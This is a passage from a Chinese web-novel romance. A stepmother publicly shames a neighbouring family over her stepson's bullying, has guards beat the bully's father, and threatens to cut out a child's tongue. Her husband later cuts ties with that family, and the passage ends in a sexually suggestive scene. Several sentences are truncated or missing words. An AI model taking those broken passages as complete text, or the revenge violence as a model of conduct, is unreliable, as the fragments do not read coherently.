让诗雅她们找了随行的婆子后,她先把人都叫到了跟前,让她们知道这一趟是要去做什么,壮了士气,等到濮青派遣的人过来,她便让婆子大张旗鼓地拍响了马家的大门。
入夜的寂静让敲门声格外响耳,加上萧家人举着的火把,一下子就引起了周围住户的注意。
听到各家门房问发生了什么事,萧家的仆人们按着宓瑶的交代开始叫苦。
“还能是怎么回事?马家小郎欺负我家大郎君,仗着岁数大在书院打我家大郎君,还威胁我家大郎君不想被打就说我家夫人不好,说我家夫人刻薄他!”
“竟然还有这样的事?”
问话的门房看向人群中心带着风帽的窈窕背影,还有站在她身边的萧家大郎。
母子俩站的极近,大郎神态并不畏缩,母子俩不像是有隔阂的模样。
“马家郎君去了之后,我家镇使对马家多有照料,又是给他们找房,又是容着他家把亲戚全塞进萧家做事,倒是把他们心养大了!”
“可不是把心养大了,他们家里的郎君没个正经官职,却有银子每日喝酒吃肉,泡在勾栏里不着家,还有马阿婆和她那女儿,珠翠满头,每次去萧府出来都大包小包,问她包袱里是什么,还遭她白眼,说我嫉妒她过好日子。”
“前些日子节度使的养女潘娘子和离去了节度使府,我听说潘娘子会走,就是因为马阿婆在家又是骂人又是打人,还不许潘娘子教亲生儿子。”
“那个马虎都被马阿婆惯成什么样了,到处抢东西,我家小郎就被他打过,一个没爹的崽子还以为自个是天皇老子。”
……
都是住在一片的人家,马家人是什么德性所有人都知晓,以往马家背靠萧欻,旁人不敢多言,如今是宓瑶这个镇使夫人亲自找上门,没一会这条街到处都亮起了烛火,看着比白日还要热闹。
婆子们扯着嗓子宣扬马家的奇葩事迹,宓瑶则是安静的站在人群之中,听到门后有窸窣的动静,知道是马家人已经到了门口不敢开门,才开口道:“我带大郎来是为了讨个公道,不是为了来吹冷风,若是再不开门,我就让人砸门了。”
“你凭什砸我家宅门!”
听到宓瑶要砸门,知道她是个混不吝的,马宅大门打开,马阿婆冲出来吼了一句,吼完也不敢多看宓瑶,眼珠子转了一圈,指着萧翼发怒。
“你刚到萧家的时候,你忘了是谁帮你找合适的衣裳穿,往常还叫我一声阿婆,现在竟然闹上我家家门!小儿家间的打闹你也要朝你继母告状,没见过你这般小家子气的郎君!”
看出马阿婆知道她惹不得,只敢对萧翼指桑骂槐,宓瑶哼笑。
“小儿间的打闹不是事,但把我家大郎打得快骨裂,让他写不得字,还胁迫他把身上的伤痕都推到我头上,让他跟所有人说我待他不好,这些恶毒招数只有大人能教,可不是什么小孩间的玩闹。”
把萧翼身上的伤推到她头上不是她找茬胡说,而是萧翼见她今夜非要找马家热闹一番,怕她只是为他讨公道站不住脚,就坦白了具体细节。
碧墨书院跟赵家的私塾差不多。
主要是为了赵家子弟开蒙读书所建,其中除了赵家子弟,还会孩子。
,不是他堂兄的爹有出息,而是马阿婆怕她儿子死得太久,情分没了,所以在马过去占位置。
十二岁,脑子不聪明不爱读书,成日跟着赵家子弟后头,当狗腿子混些好吃好喝。
刚,萧翼没想到赵家人身上,以为马阿婆是吃了亏,叫马杰欺负他出气。
后面是马杰脑子笨说威胁的话说不清楚,赵家子弟在后偷偷递话,他才知道是赵家旁支的子弟让马杰动手。
目的是为了让他冤枉宓瑶,说她私底下打骂他,面甜心歹。
宓瑶听完始末后,更觉得非来马家一趟不可。
别说日后萧翼会不会承受不住欺负,按着他们说的把她塑造成恶毒继母。
单因为他受着苦是因她而起,她都就得把这事闹大了。
“孩子胡说跟大人有什么关系,我可不会教马杰说这样的话!”
马家的宅子不大但住的人不少,十几号人在门口站着,看到宓瑶身边的护卫没一个人敢上前。
马阿婆说完,马杰的爹立刻拍自己的儿子,“快跟镇使夫人说清楚,说你没打萧大郎君,没威胁他冤枉镇使夫人。”
马杰他爹手劲不小,嘭嘭几下直接把马杰拍倒在地。
大晚上被叫起来,马杰本来就害怕,受了疼直接哇哇大哭起来。
“镇使夫人你看孩子都哭了。”
马杰他爹讪笑地看向宓瑶,想要她看在孩子哭了的份上把这件事算*了。
可惜宓瑶对小孩子没什么善心,她当初会因为萧善的哭屈服,一是萧善是萧家的孩子,二是因为萧善长得好看。
而眼前这个坐在地上鼻涕眼泪糊一脸的黑丑男童,她看一眼就觉得眼睛疼。
“他哭了又如何?做错事哭一哭就可以,那官府的监牢也不必设了。”
宓瑶说完,直接让护卫上前拿布条堵住了马杰的嘴巴,见他要抠出来,冷眸看向他,“你最好塞着嘴巴不要出声,我这人嫌吵,若是你吐了布条继续哇哇大哭,我可不知道我会不会割了你的舌头让你住嘴。”
“你怎么能那么霸道,一个大人竟然跟孩子计较!”
马阿婆知道宓瑶不好惹,但见她当着那么多人的面威胁孩子,像是抓住了她的把柄,想让所有人来评评理。
“我会跟孩子计较这事,你又不是如今才晓得?”
宓瑶瞥了眼她,没她想的那么在意旁人看法。
她就是霸道不讲理又如何?
既然有势自然要仗势欺人。
“大夫,你来说说我家大郎都受了什么伤。”
宓瑶说萧翼胳膊险些断了,自然是夸张的说法,但收了萧家诊金的大夫也没把萧翼的伤往轻了说。
孩子身上的伤可大可小,前些日子就有孩子摔了一跤,看伤口小以为是小事,谁知道没两天就躺在床上没了气息。
宓瑶说话可能有偏向,但邹大夫在这一片都有名,他说萧大郎浑身是伤,胳膊可能会有后遗症,影响以后用手。
那自然就是马杰毁了萧翼。
一时间议论纷纷,马阿婆平日做的那些坏事都被扒出来骂了个遍。
“萧镇使就不该好心照拂他们家,最后养出了一窝毒蛇,欺负萧家大郎,还想毁镇使夫人的名声。”
“你们知晓她为什么想毁镇使夫人?还不是做大头梦,想把她那个女儿嫁进萧府。”
“就她那个丑女儿?!”
听到周围人说自家人丑人多作怪,马阿婆一脸难看,而比她脸色更难看的就是被说成癞疙宝的马小娘子。
“马杰又没承认是他做的,怎么就判定是他了?”
听到马家人终于有个脑子的能事态推进到下一步,宓瑶让人把马杰嘴里布条取了,看向他道:“是不是你对萧翼动手?”
取布条的护卫取了东西后并没有走开,而是站在马杰跟前,一双怒目狠狠瞪着他。
马杰不怕长得跟仙女似的宓瑶,但他怕面前人高马大,像是一脚就能踩死他的护卫。
一时间哪里还记得他爹说的死也不能认,慌忙点头:“是我是我。”
“你这蠢子,认个什么,怎么就是你了!”
马阿婆听到马杰承认,恨不得上前给他两耳光,让他改个说法。
比她还快的是马杰他爹,抬手就给了马杰两巴掌,掌劲极重,明显想把儿子打得不能说话。
宓瑶蹙了蹙眉,让人拦住了他。
“旁人遇到这种事要是有气性,都是百倍偿还,我这个人心善,那便十倍奉还。”
说完就当没看到马杰脸已经被打肿,指挥护卫道,“你们也听到了大夫说的话,就按着大夫说的十倍打回在马家小子的身上。”
护卫依言握起了拳头,马杰被他爹打的脑袋发晕,依然晓得他爹不会打死他,但是眼前这些人是真的会把他弄死。
拳头还没挨在身上前,他又连忙摆手说不是他打了萧翼。
“是赵十郎,是赵十郎……是他让我威胁萧翼,让萧翼说他后娘是个坏女人,不是我……”
这话一出又是一片哗然。
没想到又牵连到了赵家子弟。
而马家人听到这话,相比于怕马杰口风不紧惹怒了赵家子弟,反而是心中有了底,瞧着宓瑶也不怕了,觉着有赵家人牵扯其中她不敢轻举妄动。
但这就是他们想多了,该打的人还是得打。
宓瑶就像是跟萧翼说的那般,听到赵家就当做没听到。
她先让护卫对马杰他爹动了拳脚,俗话说子不教父之过,对十几岁孩子不好下狠手,让他三十多岁正当年的亲爹几天下不了床倒是没事。
马家大门充斥着马杰他爹哭爹喊娘的哭嚎,还有马阿婆骂天骂地的脏话,一时间让周围看戏的人没了声响。
众人再瞧宓瑶的美面,都感觉到了几分森然。
本以为她只是闹一场就算,谁想到她竟然真会让人动手。
像是不怕落下个凶狠野蛮的名声。
“母亲,马杰动手打我,如今回手,也该是我亲自回他。”
打了马杰他爹,宓瑶正纠结着还要不要揍马杰一顿,听到萧翼的话,她点头让人把马杰架了起来。
萧翼只打了马杰两拳,但宓瑶看得出萧翼没有留手,而是咬牙下了狠力气。
“看在两家以往往来的情分,今日便到这里,若是你家人不吃教训,往后还有同样的事发生,我不会在那么轻易算了。”
宓瑶朝马家人说完,转身朝周围提灯看热闹的邻居道,“因私事吵到了各位,还请各位见谅,等到白日我会送上赔礼的小礼,还请各位赏脸。”
这一片的宅子也不全是官宅,看热闹的下人少,户主多。
听到宓瑶那么客气,知晓她平日是讲理的,连忙摆手说不吵。
“镇使夫人不必客气,你也是爱子心切,我们都能理解。”
“主要是马家实在可恶。”
嘈杂中,萧翼就听到了那句爱子心切,他愣了愣,忍不住看了眼宓瑶的侧脸。
夜幕中的火光就像是加了赭墨,旧黄的光亮让宓瑶的脸更滢润如玉,在人群中像是发光的珠宝。
等回到府邸,宓瑶嘱咐霜华派发赏钱,说了几句夸奖鼓励加班员工的话,才慢悠悠的回主院吃夜宵。
走之前还问了句萧翼要不要吃。
若是以往萧翼怕麻烦宓瑶,定然会说不要,但这次面对宓瑶的散漫的眸光,萧翼鬼使神差地点了头。
“这是你弟弟妹妹们捏的糯米圆子,你尝着要是觉得太甜,就让厨房给你再下碗面。”
“孩儿觉得好吃。”
听到萧翼那么说,宓瑶就没管他,吃完了夜宵就去洗漱打算看一会书就睡觉。
而萧翼原本等着宓瑶再跟他交代几句,但甜汤吃完也没听到宓瑶开口。
垂眸看着空碗,他也说不清自己是觉得自在,还是觉得失望。
第27章 第二十七章【VIP】
萧翼本以为宓瑶去马家闹这一场就算完了,按着她自个说的只会欺软怕硬,他就默认了她不会因为他招惹赵家。
但谁想到了隔日宓瑶依然到了书院。
因为宓瑶没差人去叫他,他不知道她找了夫子,还拎着马杰找了赵十郎的爹娘,等到他晓得这件事的时候,夫子已经带着哭泣的赵十郎跟他道歉。
赵十郎比他大一岁,往常他只见过赵十郎仗着姓赵,在书院嚣张跋扈,私底下经常骂夫子多事,句句没把夫子放在眼里,而如今赵十郎哭的上气不接下气,在夫子跟前就像是个鹌鹑。
“赵泓毅指使马杰对你动手,还威胁让你撒谎败坏你母亲的名声,这样的学生,我本是不想要了,但他爹娘带着他跟我认错,说他年岁小不懂事,受他人蛊惑才犯下错事,现在已经知错。”
李夫子眉头紧皱,明显对赵十郎已经知错这件事并不认同,“我作为师长,罚了他三十戒尺,若是你觉得我的处罚合理,我便给他一个机会,把他继续留在书院,若是你不愿原谅他的所作所为,他的去留我们再行商量。”
萧翼本以为这是赵家人开的书院,李夫子知晓了这事会站在赵家人那边,没想到他竟然打肿了赵十郎的手。
赵十郎手掌通红发肿,隐隐还泛着青紫,受的伤并不比他肩头的轻。
“萧大郎我错了,我不该指使马杰欺负你,我向你认错,我以后再也不会做这样的恶事,你这次看在同窗的情分上原谅我吧……”
赵十郎哭着朝萧翼深深鞠了个躬,白胖的脸上一点戾气都没有,跟寻常相比就像是变了一个人。
萧翼还没开口,又听赵十郎低声哀求:“若是你不原谅我,我会被我爹打死,求求你了……”
晓得了赵十郎变老实的原因,萧翼多看了他几眼,选择了原谅他。
萧翼的选择李夫子早有预料。
也与萧翼继母想的相同,萧翼不会追责,所以相比于听赵泓毅爹娘的先问萧翼原不原谅赵泓毅,不如先打了赵泓毅板子,再把他带到萧翼面前。
“往后行事先前多思多想,要是有下次,不管谁来求情,碧墨书院都不会再留你。”
李夫子声色俱厉,打发了赵十郎离开,才朝萧翼道:“往后再有这样的事情要上报师长,听你母亲的意思,若不是你姨母发现了你身上有伤,你还打算一直瞒下去?”
“学生不想把事闹大,让夫子觉得为难……”
闻言,李夫子拍了拍萧翼的肩膀,他知晓萧翼的家世,平日只想他比寻常的孩子乖巧,没想到他是受了委屈往肚子里吞,“要相信师长,我平日教你们仁义礼智信,并不只是说说,你与赵泓毅都是我的学生,他有什么值得你去惧怕?”
感觉到夫子的善意,萧翼恍然,他本来是想宓瑶拿昨夜那一套在书院闹了一场,所以让李夫子站在他这边,但现在看来,他虽然没有好的出身,但世上的好人并不少,李夫子是真心为他出头。
“学生知道了,往后学生不会怯懦胆小,不会面对不平默默忍受,学生知道这样只会放纵欺辱我的恶人觉得我就该被他们欺辱。”
听到萧翼的话,李夫子连连点头:“看来你母亲在家里没少教导你。”
萧翼的话让他想起了方才在书院正厅面对赵十郎爹娘的宓瑶。
看到宓瑶的第一眼他就下意识惊叹她的样貌,而后他就开始皱眉,觉得萧镇使娶了那么个貌美的女人不是好事,俗话说英雄难过美人关。
萧镇使年岁尚轻,又是草根出身,宓瑶吹吹耳畔风,谁晓得萧镇使会如何昏头。
但没想到宓瑶这次到书院是为了萧翼出头。
她让人带着马杰,还派人去叫了赵泓毅爹娘,摆出了一副霸道恣意的模样,开口却句句是道理,把想把大事化小小事化无的赵家夫妻说的哑口无言。
宓瑶那么能说,现在萧翼能说出有理的话,他自然而然便想着这话是宓瑶教导。
萧翼没有否认,他如今急着想见宓瑶,想问她为何今日要来书院,开罪了赵家人会不会给她带去麻烦。
但李夫子明显没有感觉到他的焦急,没再提宓瑶,与他说了几句就放了他回教馆。
等到他下学返回府邸,已经是几个时辰之后。
他一路脚步匆匆,但到家还是慢了一步。
厅,他急切的赶过去,到了正厅他不止瞧见宓瑶,还看到了穿着玄色衣袍,
正厅的百灵台上放了一尊白釉青花缠枝牡丹纹大腹瓶,桌上还放了几株青瓷色的枇杷枝,看样子应该是宓瑶正在插花,被回来的阿爹打断。
触到阿爹脸色的厉然,萧翼对宓瑶升起了愧疚,要不是掺和进他的事情,事情消遣,
“父亲,一切错都在我,”
欻请安,而是跪在了他的面前,低头往自己身上揽责。
宓瑶跟萧欻也是刚见,两人好久没在白日相见,宓瑶见着萧欻觉得新鲜,正想着拉着他袖子尽责地撒几声娇。
但谁想到萧翼下学回家就来这一出。
瞥了眼跪在地上一副任打任骂的萧翼,宓瑶没有出声,想瞧瞧萧欻这次又能给她什么惊喜。
她这看戏的姿态恰好被萧欻收入眼中。
萧欻不由嗤笑,想让面前跪着的傻子抬头,看看他是挡在什么人的前头领罚。
“怎么回事?”
萧欻没有立刻让萧翼站起,而是就近坐下,眸光沉沉看向他。
萧翼把赵泓毅指挥马杰殴打他,让他撒谎的事说了一遍,但略过了虞琇发现他受伤的事,而是说他主动找宓瑶,想要让她帮他做主。
“母亲心疼我看我可怜,才会昨夜去找马家算账,今早去书院为我撑腰。”
不管萧欻听这话什么感觉,宓瑶听着倒是很满意。
相比于受了伤怕东怕西瞒着不说,这个主动找大人打上门的版本明显解气。
“今早?”
萧欻的关注点明显与常人不是一个角度,他重复了一遍萧翼关于时辰的描述,似笑非笑地看向宓瑶。
这世上还能有让她早起的事?
“于我而言是今早,但常人应该是快吃晌午饭了。”
对上萧欻的目光,宓瑶对自己的贪睡没有丝毫的羞耻,笑盈盈地朝他眨了眨眼。
瞧她这样子萧欻就来气。
细想宓瑶也没做什么招人气的事情,府邸不需要她早起下地耕田,也没有长辈需要她早起问安,她想何时起床都是她的事情。
但不知道为何,他一看她,看久了心里就会升起无名火。
归根结底,就是她这人不怎么讨他喜欢。
“起来吧。”
他昨日没让人阻止宓瑶,便是赞同了她的做法,他不想萧翼他们太过依赖他,养成他们凡事都觉得自己有靠山的软弱性子,但不代表他与他们有仇,想看他们被旁人欺负。
“往后若是没有做错事,就不要动不动跪下。”
“你阿爹说的对,动不动就跪会让旁人疑惑你到底是错还是没错,连累为你出头的人都要理不直气不壮。”
宓瑶在旁陪了一句,引得萧欻又挑眸看她。
晓得萧欻是日子长没见她,想念她的花容月貌,宓瑶特意靠近了他一步,大大方方地让他欣赏美人。
“孩儿知道了,孩儿谨遵父亲母亲的教导,往后凡事三思,不会再随意跪下。”
萧翼想着把话说清楚才不会牵扯到宓瑶,又开口,“今日赵泓毅与我道歉,我原谅了他,他爹娘把这事当做小儿之间的打闹,并没有把这件事放在心上。”
听出萧翼是在暗示宓瑶没闹出大事,赵家人不会因为这件事追责,萧欻扯了扯唇,打发了萧翼离开,而萧翼走时,他没错过萧翼对宓瑶投去担忧的眼神。
还以为萧翼比弟弟妹妹知事,没想到也那么容易被虞女收买。
“郎君就那么着急跟我单独相处?”
宓瑶这个人记吃不记打,时隔几日就忘了之前的教训,又是一副软骨头模样坐进了萧欻的怀里。
暖香扑鼻,萧欻打量宓瑶的表情,想看出她是不撒娇身体痒痒,还是真如萧翼所想,害怕招惹了赵家人,所以着急讨好他。
小巧的脸上眉欢眼笑,杏眸清澈无辜,圆润的唇珠微翘。
害怕他没看出来,就看出来她日子过得比萧善还无邪自在,所以眼神养的比孩童还干净。
“萧翼说完,该到你了。”
“到我?”宓瑶茫然,觉着萧翼说的很完整,不需要她再添什么内容。
但显然只有她那么觉得。
萧欻捏住了她凑近的下颌,粗粝的手指在她皮肉上滑动。
“萧翼说你是为了他,但你为萧翼出头,为何要提赵七娘小气?还道赵七娘故意让族弟来给你设下陷阱,让赵姓人下不了台。”
带着薄茧的手掌灼热宽大,宓瑶皮薄,被他摸了几下就觉得痒,晓得萧欻是在吃她豆腐,但她还是控制不住发乐往他怀里蹭。
萧欻原本正经与她说话,没几下被她蹭出了火,然后就见她僵在了他的怀里。
他不知到他的身体为什么会那么不听使唤,怀疑宓瑶在身上熏了什么媚香,但见她一副后怕坐直的模样,又减轻了几分对她的怀疑。
要是宓瑶知道萧欻在想什么,铁定要骂一声狗屁。
谁没事会在身上熏那些奇奇怪怪的东西,她还嫌他不禁撩,她才贴他几下,他就立正立得笔直,让气氛黏腻尴尬变得不好玩了。
“我会提赵七娘子,还不是因为郎君不帮我。”
离开了萧欻的大腿,宓瑶贴心地了拿了毯子放在他腿上遮丑,想到他刚刚的发问,下意识嗔了他一眼,触到他不见底的深邃眸光,想到他现在禁不起撩拨,又立刻收敛,“之前我与郎君说赵七娘子与她兄长的阴谋诡计,我以为郎君嘴上说不管,但应该是上了心,谁知道她还是给我下帖子。”
说起来,宓瑶真觉得有几分气。
书里面原主就没把萧欻当个人,两人也没任何肌肤之亲,就这样萧欻知道赵七娘想给原主下药,还能出手阻止,最后事情捅到了赵天赫那里,让赵家兄妹俩受了罚。
而如今换做是她,她都跟他提前说了赵家兄妹俩不怀好意,她以为他会提前出手,谁知道他压根没动静。
“大郎这次完全无妄之灾,赵七娘给我下帖子被我拒了,她面上过不去就她族弟对大郎动手,借此来坏我名声。”
宓瑶不乐意道,“我可以当做没发现这件事,但这不是看郎君你没有动手的意思,而我又不想红杏出墙,只能直接提及赵七娘子,好让她有个警醒。”
既然是给人警醒她的姿态就不可能太客气。
在书院她直接朝赵泓毅的爹娘询问,是不是她身体不适没接赵七娘子帖子出门,赵七娘子便让她族弟弄那么一场戏报复她。
按着当时赵家父母脸色难看的模样,她不奇怪她的话不到半天会传遍城内,并且传到萧欻耳中。
萧欻看了宓瑶半晌,看出她是真的完全不怕,不觉得惹了赵家人有什么,垂眸嗤笑了声:“你倒是看得起我。”
人人都道他是赵家人的狗。
赵天赫现在用他不过是他用着锋利,而她则是把他当做了大山,觉得他能抵挡所有麻烦。
“赵五郎其父跟父君是同胞兄弟,在军中有些地位,而赵五郎相比与他其他草包堂兄,会做几分戏,他在父君培养继任的名单之中。”
萧欻淡淡道,算是他没有立刻对赵五郎动手的解释。
本以为他这般说,宓瑶就会后怕,但谁想到她眸光盈盈,瞧他眼神与方才相比多了几分殷切:“我懂了,郎君不是没把我的担忧当回事,是在徐徐图之,那郎君告诉我,还有赵五郎还有几日能死。”
“你以为我是什么大人物?”动辄就让他拿走赵家子弟的命。
萧欻讥讽,不解宓瑶的脑子是如何理解他说的话。
“自然是能娶江南第一美人的大人物。”
宓瑶不知道此时的萧欻是真不把自己当回事,还是在装模作样,反正作为娇妻,她给了他足够的情绪价值,她捧着他的手,目光诚恳娇柔:“在我的心中郎君是这世上最伟岸的男子,是男人中的雄鹰,丈夫中的擎天柱。”
身上有战功后,萧欻身边溜须拍马的人不少。
各类的马屁他没少听,但宓瑶这般油腻的他还是第一次听到。
对上她的目光,萧欻降下去的火气又慢慢升了上来。
*
濮青便是这粘稠氛围中到了正厅,抬眼看到主子脸跟虞女的脸靠的极近,不知虞女做错了什么惹怒主子,主子眸光摄人,像是要张嘴在虞女的脸上啃一口。
他慌忙低头:“镇使,马家人求见。”
如蜜糖般稠密的气息倏然终止,萧欻拂袖起身,走到了门口才像是意识到自己起身是要去见人。
“谁求见?”
“马家阿婆带着儿女上门,说是跟夫人有误会,想求见镇使跟镇使解释清楚。”
“不是跟我的误会,跟我解释什么。”
萧欻回头去看宓瑶,就见她当做听不见,背着身拿起了桌上的枝叶,蹙眉深思地往瓷瓶中插。
若是他记忆没问题,方才她还半闭了眸等着他去吻她,他才走了几步路的功夫,她就给自个找了一件听不到旁人说话,一心沉浸的“正事”做。
嫌马家人麻烦,但知道今日他们见不到他还会有下一次,萧欻开口:“把人带到外厅,我换身衣服过去。”
外厅是小厅,离门房不远,平日里就是外头商贩送货逗留的地方。
听出主子不打算把马家当回事,濮青领命去了,等到主子要到外厅,才迟迟给马家人上了不能入嘴的烫茶。
马家人哪能看不出萧家下人的怠慢,马小娘子暗骂了两句,扯了扯亲娘的衣摆:“定然是虞女让下人这般,等会咱们可得好好跟欻哥哥告状。”
“自然要把那南边婆娘做的没良心事说出来!她敢那么嚣张,不就是仗着萧小子不在府邸,她一个不受宠的女人,长得漂亮又如何,哪比得上咱们家跟萧小子的情分。”
昨夜的鸡犬不宁明显没让马阿婆长记性。
她的确有些怕宓瑶,那是因为宓瑶不按规矩来,想做什么就做什么,她怕宓瑶狠起来让侍卫把她也打一顿。
但不代表她就要躲着宓瑶走了。
宓瑶跟萧欻同房了一日就分房,益州的其他人家可能不知道,但范嬷嬷在萧府,她就不可能不知道这事。
知道萧欻没有被宓瑶迷惑,她早就想上门给萧欻上眼药。
只是萧欻每日神出鬼没,她到现在才找到机会上门叫苦。
“不说我们家跟萧家是什么情分,单说赵家是什么人家,那姓虞的婆娘敢那么嚣张,此刻估计已经被萧欻扇了几个大耳光。”
闻言,门外的萧欻低眸看了眼他摊开的手掌,上头依稀留有宓瑶肌肤如绸的滑嫩。
“私底下打耳光算什么,我得亲眼看到虞女被欻哥哥掌掴,我心头那些委屈才能解开!娘你不知道外头现在都是怎么说我们家的,说我们家是吸血虫,扒在萧家吸血,现在被虞女找上门简直大快人心。”
“今日便是那婆娘的死期!”
马阿婆恶狠狠地道。
听到这恨不得把宓瑶千刀万剐的语气,萧欻推开了门扉,扫了眼屋中几人。
他不是不知马家人的小心思,他们所拿的钱财对他而言不过九牛一毛,因为记得跟马松平同僚的情分,以及谢马家在他母亲去世时的出力,他便没有跟他们计较。
谁知道在他面前面善的老人私底下会是那么一副模样。
还宓瑶的死期?
“你们几人来我萧家骂我夫人,还想我能帮你们如愿,是谁给你们胆量勇气?”
萧欻讥讽地扯了扯嘴角,“滚出萧府,往后别在出现在我眼前。”
萧欻做事讲究速战速决,既然知道马家不是好东西,那便直接把话说死,断了往后来往的机会。
但马家哪愿意失去萧欻这颗大树。
慌乱了一刻,就哭闹扯着萧欻的衣袍不让他走。
“镇使,我说的那些话都是我气急的胡言乱语,镇使别听了旁人的诬陷,我们家人是什么人品你还不晓得,潘氏想再嫁我也没拦着,但她可好为了博个好名声,竟然在外头乱说,把我说成恶婆婆。”
到此刻马阿婆都还觉得宓瑶在萧欻心中不是什么事,说完了潘氏,才苦着脸,“我知道镇使也厌恶那个不知事的虞女,那女子横行霸道,到处闯祸,给镇使惹了不少麻烦……”
“谁说我厌恶我夫人?”
萧欻淡淡打断了马阿婆的话,在她的呆愣中,皱眉拂开了她的拉扯。
“我原本只打算你们滚了就是,但既然你们看不懂眼色,那便清一清帐,濮青你带人搜一遍马家,看看有多少萧家的东西。”
“属下领命。”
“不能搜不能搜!”
马阿婆吓得连忙拦住了濮青,萧府那么一搜,搜没搜出来是一回事,人只要一往马家去,不就让看热闹的人知晓两人情分断了。
“主子,马家人住的宅子原是刺史府的小陪宅,是主子你借给马家人暂住。”
濮青想到什么朝萧欻说道。
他要是不说,萧欻早就忘了。
曾经两家是邻居,他得了新赐的府邸,马家原本的屋子走水,说没地方可住,他就给了他们借住的宅子。
“既是这样,搜完把宅子一齐清了。”
“欻哥哥你不能这样,你若是这样,我往后都不理你了!”
马小娘子一脸愤怒,听到萧欻只与宓瑶同房了一日,她还心中窃喜,觉着萧欻与其他庸俗的男人不同,看得出宓瑶也没怎么貌美。
但谁知道萧欻还是被宓瑶迷惑了。
现在竟然要帮着宓瑶来对付他们家。
原本她都决定当不了他的正妻,曲身为妾也不是不可。
可惜她的愤怒和隐忍都没被萧欻重视,听到她毫无力度的威胁,萧欻扫了她一眼,并未打算理会。
“欻哥哥你真要这般,你这样我们就再也不可能了。”
见萧欻转身要走,马小娘子含泪呼唤,“欻哥哥,虞女难道比得过我们青梅竹马一起长大的情分?”
“谁与你青梅竹马?”
萧欻本不想开口,但听到马小娘子越说越离谱,像是杜撰了一个与他姓名相同,长得一样,却与他完全没关系的人与她有什么首尾。
他冷眼看向马小娘子:“我与你拢共没见过几面,若是在街上相见,我怕连你是谁都不认识,我和你能有什么情分。”
他这几年虽不说日日在战场上,但在府邸的日子加起来也到不了几个月。
这几个月中他连萧良他们都少见,更何况一个跟他不同姓氏,比他小了五六岁的女娘,他对马小娘子不过是知道马家有那么一个人罢了。
听到萧欻绝情的话,马小娘子又羞又怒,觉着萧欻是被虞女迷昏了头,才对她那么不讲情面。
一时间昨夜看热闹的人说她是癞疙宝的话浮现心头。
她含泪狠狠跺脚。
“欻哥哥,我不信你心中没我。”
说完她便跑出了屋子,众人以为她是受不了萧欻的冷漠羞愤离府,谁知道她是往荷花池跑,跳水前还说了声“只许欻哥哥救我”。
萧欻:……
他脑子又没病,为何会大冬天往水里跳,救一个自个找死的疯子?
第28章 第二十八章【VIP】
宓瑶再见萧欻是几个时辰后。
她一看到他就想到马小娘子霸气跳湖,等着他舍身相救,一想就想笑,越憋她的嘴角就咧得越大。
被萧欻冷眸一扫,她干脆靠在了他怀里,好让他瞧不见她看热闹的取笑。
但按着他捏她腰的力度看来,她就是藏住了她的笑脸,也藏不住她那份幸灾乐祸。
“郎君今日辛苦了,郎君就是顶天立地的大英雄,立在前头为妻儿挡风遮雨,让那些恶人有了恶报,不敢再上门骚扰。”
连着两天当斗士,马家找上门她没打算凑热闹,萧欻一去见马家人,她就嘱咐了诗雅,前院谁来叫她都先拖着,拖不了再说她在睡觉,一切等她醒了再说。
谁晓得这让她错过了马小娘子逼爱现场。
幸好她想象力不错,听转述想象了一番不比亲眼看到差。
“我相信若是换了我,郎君定然会毫不犹豫地跳进湖水。”
宓瑶扣着萧欻衣裳上的绣纹,娇娇地说道。
“你想太多。”
不管是谁发疯他都不会蠢到寒冬跳水,推开了宓瑶,萧欻抬手本来打算取下外裳,动手时他顿了顿,想到什么看了眼内室放下的洒金折花帐幔。
“善儿在这?”
宓瑶点头,听松院修整之后,萧善每日会分些时辰跟萧良玩乐,但大多时候还是黏着她。
因为萧善听话又乖,最近学说话也学得用心,她就奖励萧善日日与她同睡。
“郎君想见她。”
“不见。”
想到等会要做的事,萧欻不想看到孩子让自个别扭,他皱眉握住了宓瑶要挑开帐幔的手,“去我那。”
宓瑶微怔,看向萧欻的紧绷的面皮,不大懂他的话的意思。
“今日十五。”
哦……懂了。
旁人的十五上香,萧欻的十五是上擎天柱。
宓瑶目光下移,在萧欻腰腹以下转了一圈,回想那天的体验,视线像是被烫到一样迅速收回。
怎么说呢。
若说难受也不是。
毕竟没真刀实枪的做什么,只是亲亲摸摸,哪怕偶尔被咬一口她也觉得酥酥麻麻,上次那一身吻痕看着吓人,实际疼不到哪里去。
但她不信萧欻的自制力,特别是他今天还吃了瘪,因为马小娘子的出其不意,所以他就是马家人赶走了,依然成了旁人的谈资,说他若是真没跟马小娘子有什么,马小娘子怎么敢连命都豁出去。
这种情况下若是他怒火往脑子冲,抱着发泄的心思没控制好劲头,让她彻彻底底感觉到宛如儿臂了怎么办?
萧欻没拉动宓瑶,扫了眼她稳稳扎根在地上的脚,他眼眸微眯,不说话就只是看着她。
褐色的眼珠因为在眼皮的低压下只露出了一半,眼中暗色涌动碰撞,像是蓄势待发准备捕猎的豹。
宓瑶:……
他越是这样,她越不敢跟他走。
“对了,我听说郎君让濮青去清马家的宅子,郎君是打算往后都不与马家人来往了?既是这样,我便把善儿的嬷嬷给换了,原本早就想换,但范嬷嬷不像大厨房的厨子,厨子做饭做得不好可以直接打发走,但范嬷嬷平日里偷懒但还是做了些事情,没什么大的错处……”
宓瑶啰里啰嗦,一句接一句地说琐碎话,萧欻开始听着还以为她是真想与他说些什么,但听久了就发现她是车轱辘的闲扯。
同时她还在小心翼翼地抽出被他握住的手。
“便是摆着看的器具也能上手把玩一二,你倒是真只给看不给碰。”
扯远的气氛被萧欻一句话又拉回了重点。
宓瑶眨巴眼睛:“那郎君说你只是把玩一二,我就与你去。”
萧欻没承诺,只是加重了拉她的力气,把人扯出了屋子,拖到了他的卧室。
一进萧欻房里,宓瑶就知道用闲话让萧欻没兴致不可能成功,那么简陋没点人气的屋子,他住着都能惦记初一十五,可见是牛子真的痒了。
“屋里头没升炭盆,不若郎君先去吃个夜宵,等到屋里热了再说。”
方才在她那个屋,她就嗅到萧欻身上淡淡的皂豆气味,还想他那么讲究,见完了马家那群腌臜货,还专门沐浴更衣洗晦气。
现在看来他分明是在等着她。
“升火太燥。”
见宓瑶张嘴还有意见,萧欻*手覆在了她的后脑,压着乱瞟的眼眸停在他的脸上,“你若是怕冷,等你发汗了我再脱你的衣裳。”
说完,吻落在了她唇角,动,他轻轻一吮,覆盖了她的唇。
这交道,身上似麝的甜香中有掺入了几分清新的草木味,只是再搅合成诱人的媚气。
含住宓瑶的小舌,萧欻又吸又咬,水,意识到他在不停舔她口水,还咂的有滋有味,
“啊……”
宓瑶身体发软虚虚地靠在萧欻怀里,猛不丁被咬了一口,她睁着被热气熏得模糊的眼睛,使劲地瞪他。
“又咬我,
